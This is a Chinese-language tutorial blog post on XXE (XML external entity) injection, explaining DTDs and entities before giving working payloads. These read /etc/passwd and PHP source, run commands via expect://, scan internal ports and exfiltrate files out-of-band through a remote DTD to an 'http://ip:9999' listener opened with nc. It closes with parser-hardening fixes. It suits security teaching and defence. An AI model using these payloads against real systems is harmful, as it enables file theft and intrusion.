• jQuery火箭图标返回顶部代码


    0x00 XML基础

    在介绍xxe漏洞前,先学习温顾一下XML的基础知识。XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

    0x01 XML文档结构

    XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    <!--XML申明-->
    <?xml version="1.0"?> 
    <!--文档类型定义-->
    <!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
    <!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
    <!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
    <!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
    <!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
    <!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
    ]]]>
    <!--文档元素-->
    <note>
    <to>Dave</to>
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
    </note>
    

    由于xxe漏洞与DTD文档相关,因此重点介绍DTD的概念。

    0x02 DTD

    文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用。

    1、内部声明DTD:
    <!DOCTYPE 根元素 [元素声明]>

    2、引用外部DTD:
    <!DOCTYPE 根元素 SYSTEM "文件名">

    DTD文档中有很多重要的关键字如下:

    • DOCTYPE(DTD的声明)
    • ENTITY(实体的声明)
    • SYSTEM、PUBLIC(外部资源申请)

    0x03 实体

    实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。实体按类型主要分为以下四种:

    • 内置实体 (Built-in entities)
    • 字符实体 (Character entities)
    • 通用实体 (General entities)
    • 参数实体 (Parameter entities)

    实体根据引用方式,还可分为内部实体与外部实体,看看这些实体的申明方式。
    完整的实体类别可参考 DTD - Entities(https://www.tutorialspoint.com/dtd/dtd_entities.htm)

    3.1 实体类别介绍

    参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。
    参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。

    (1)内部实体:

    <!ENTITY 实体名称 "实体的值">

    (2)外部实体:

    <!ENTITY 实体名称 SYSTEM "URI">

    (3)参数实体:

    <!ENTITY % 实体名称 "实体的值">
    或者
    <!ENTITY % 实体名称 SYSTEM "URI">
    

    (4)实例演示:除参数实体外实体+内部实体

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE a [
    <!ENTITY name "This is a xxe test!">]>
    <foo>
    <value>&name;</value>
    </foo>
    

    (5)实例演示:参数实体+外部实体

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE a [
    <!ENTITY % name SYSTEM "file:///etc/passwd">
    %name;
    ]>
    

    注意:%name(参数实体)是在 DTD 中被引用的,而 &name(其余实体)是在xml文档中被引用的。
    由于xxe漏洞主要是利用了 DTD 引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。

    3.2 外部实体外部实体即在DTD中使用

    <!ENTITY 实体名称 SYSTEM "URI">

    语法引用外部的实体,而非内部实体,那么URI中能写哪些类型的外部实体呢?
    主要的有file、http、https、ftp等等,当然不同的程序支持的不一样:

    实例演示:

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE a [
    <!ENTITY name SYSTEM "file:///etc/passwd">]>
    <foo>
    <value>&name;</value>
    </foo>
    

    0x04 XXE漏洞

    XXE漏洞全称XML External Entity Injection
    即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

    xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

    4.1 XXE漏洞检测

    第一步检测XML是否会被成功解析:

    <?xml version="1.0" encoding="UTF-8"?>  
    <!DOCTYPE ANY [  
    <!ENTITY name "my name is nMask">]>    
    <root>&name;</root>
    

    如果页面输出了my name is nMask,说明xml文件可以被解析。

    第二步检测服务器是否支持DTD引用外部实体:

    <?xml version=”1.0” encoding=”UTF-8”?>  
    <!DOCTYPE ANY [  
    <!ENTITY % name SYSTEM "http://localhost/index.html">  
    %name;  
    ]>
    

    可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求test.xml的请求。

    如果支持引用外部实体,那么很有可能是存在xxe漏洞的。

    4.2 漏洞利用

    xxe漏洞的危害有很多,比如可以文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等

    4.2.1 读取任意文件

    由于我是在windows上做的测试,因此让其读取c盘下的test.txt文件内容。

    如果是linux下,可以读取/etc/passwd等目录下敏感数据。
    以上任意文件读取能够成功,除了DTD可有引用外部实体外,还取决于有输出信息,即有回显。

    4.2.2 获取页面源码
    <?xml version="1.0" encoding="utf-8" ?>
    <!DOCTYPE xxe[
    <!ELEMENT name ANY>
    <!ENTITY xxe SYSTEM "php://filter/read=conver.base64-encode/resouce=index.php">]>
    <root>
    <name>&xxe;</name>
    </root>
    

    返回的base64编码,即为index.php的源码

    4.2.3 执行系统命令

    在特殊的配置环境下,如PHP环境中PHP的expect模块被加载到了易受攻击的系统或者能处理XML的应用中,就能执行命令。

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xxe[
    <!ELEMENT name ANY>
    <!ENTITY xxe SYSTEM "expect://whoami">]>
    <root>
    <name>&xxe;</name>
    </root>
    
    4.2.4 blind xxe漏洞

    对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。
    创建test.php写入以下内容:

    <?php  
    file_put_contents("test.txt", $_GET['file']) ;  
    ?>
    

    创建index.php写入以下内容:

    <?php  
    $xml=<<<EOF  
    <?xml version="1.0" encoding="utf-8"?>  
    <!DOCTYPE ANY[  
    <!ENTITY % file SYSTEM "file:///C:/test.txt">  
    <!ENTITY % remote SYSTEM "http://localhost/test.xml">  
    %remote;
    %all;
    %send;  
    ]>  
    EOF;  
    $data = simplexml_load_string($xml) ;  
    echo "<pre>" ;  
    print_r($data) ;  
    ?>
    

    创建test.xml并写入以下内容:

    <!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">

    当访问http://localhost/index.php, 存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到本地的test.txt中。

    0x05 寻找 XML 输入点

    比如 Content-Type:text/xml, post 的数据包含 XML 格式,如:

    <forgot><username>admin</username></forgot>
    

    请求头中添加 Content-Type:text/xmlContent-type:application/xml

    同时,POST 中添加 payload :

    #任意文件读取(有回显)
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY % xxe SYSTEM "file:///etc/passwd">]>
    <foo>&xxe;</foo>
    
    
    #无回显的情况,使用外带数据通道提取数据,先用 file:// 或 php://filter 获取目标文件的内容,然后将内容以 http 请求发送到接收数据的服务器(攻击服务器):
    <!DOCTYPE convert [ 
    <!ENTITY % remote SYSTEM "http://ip/test.dtd">
    %remote;%int;%send;
    ]>
    
    #evil.dtd的内容:(内部的 % 号要进行实体编码成 %)
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
    <!ENTITY % int "<!ENTITY &#37 send SYSTEM 'http://ip:9999?p=%file;'>">
    
    #最后用nc进行本地监听
    nc -lvv 9999
    
    
    #命令执行 ( PHP 要开启 PECL 上的 Expect 扩展)
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE ANY [
        <!ENTITY content SYSTEM "expect://whoami">
    ]>
    
    
    #测试后端服务器的开放端口 
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE ANY [
        <!ENTITY portscan SYSTEM "http://192.168.1.5:3389">
    ]>
    #通过返回的 “Connection refused” 可以知道该 81 端口是 closed 的,而 80 端口是open的
    

    0x06 XXE漏洞修复与防御

    6.1 禁用外部实体

    PHP:

    libxml_disable_entity_loader(true);
    

    JAVA:

    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    

    Python:

    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
    

    6.2 过滤用户提交的XML数据

    过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

    0x07 参考链接

    https://www.cnblogs.com/-zhong/p/11194080.html
    https://www.cnblogs.com/r00tuser/p/7255939.html#top
    https://blog.csdn.net/Fly_hps/article/details/85228722

    https://mp.weixin.qq.com/s?__biz=MzU1ODg3NTMyMQ==&mid=2247489349&idx=1&sn=ab435be65bc6c35a21ea4bd040693d8c&source=41#wechat_redirect

    https://mp.weixin.qq.com/s?__biz=MzIwMDY0ODI5Mw==&mid=2247490379&idx=1&sn=d6039c1afbaa55508eec82bbbb94e0b0&chksm=96f8a841a18f2157b60ed90e256bd9ed6dfd88a6ff62a48f8553ee4b2e8293026b63e94e000d&mpshare=1&scene=23&srcid=&sharer_sharetime=1567525313098&sharer_shareid=d32981e13d51bf06188894426d2a54e5#rd

  • 相关阅读:
    关于抑或
    【vue】条件渲染 v-if v-else
    【vue】vue的目录结构、项目流程、vue-router
    【vue】在vue中引入iview
    【vue】vue如何创建一个项目
    【jquery】jquery怎么实现点击一个按钮控制一个div的显示和隐藏
    【angularjs】ng-model controller中取不到值(input)
    打印机增强软件pdfpro
    vagrant 安装ubuntu12.04 64 bit
    debian 7 stable 不能编译android源码
  • 原文地址:https://www.cnblogs.com/-mo-/p/11261584.html
Copyright © 2020-2023  润新知